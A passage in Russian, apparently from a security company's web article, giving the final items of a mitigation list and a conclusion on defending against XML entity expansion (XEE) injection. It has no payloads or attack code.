  9. Ограничьте разрешения файловой системы сервера, на котором размещены XML-документы, чтобы ограничить доступ к конфиденциальным файлам.

  10. Внедрите элементы управления доступом для ограничения доступа к XML-документам на основе ролей пользователей и привилегий.

  11. Отслеживайте и регистрируйте действия, связанные с XML-документами, для обнаружения потенциальных атак и реагирования на них.

  12. Внедрите WAF, который может обнаруживать и блокировать атаки на расширение сущности XML путем анализа входящих HTTP-запросов и ответов.

Заключение

Внедрение расширения сущности XML (XEE) это серьезная уязвимость, которая может привести к различным атакам, включая кражу данных, отказ в обслуживании и даже полную компрометацию системы. Уязвимость возникает, когда анализатор XML обрабатывает XML-документы, содержащие внешние объекты, которые могут быть использованы для извлечения конфиденциальной информации, выполнения произвольного кода или вызвать сбой системы.

Для защиты от внедрения XEE важно использовать безопасные анализаторы XML, отключать расширение внешних сущностей, проверять входные данные, использовать параметризованные запросы и внедрять средства контроля доступа. Кроме того, поддержание программного обеспечения в актуальном состоянии, ограничение прав доступа к файлам и мониторинг активности могут помочь обнаружить и предотвратить атаки.

Разработчикам и специалистам по безопасности также важно знать об общих методах атаки, инструментах и полезных нагрузках, используемых при атаках с внедрением XEE, а также о мерах по смягчению последствий, которые могут быть реализованы для их предотвращения. Регулярное тестирование и оценка уязвимостей могут помочь выявить и устранить уязвимости в коде синтаксического анализа XML, а повышение осведомленности может помочь разработчикам писать более безопасный код.

Другие Услуги

Готовы к безопасности?

Связаться с нами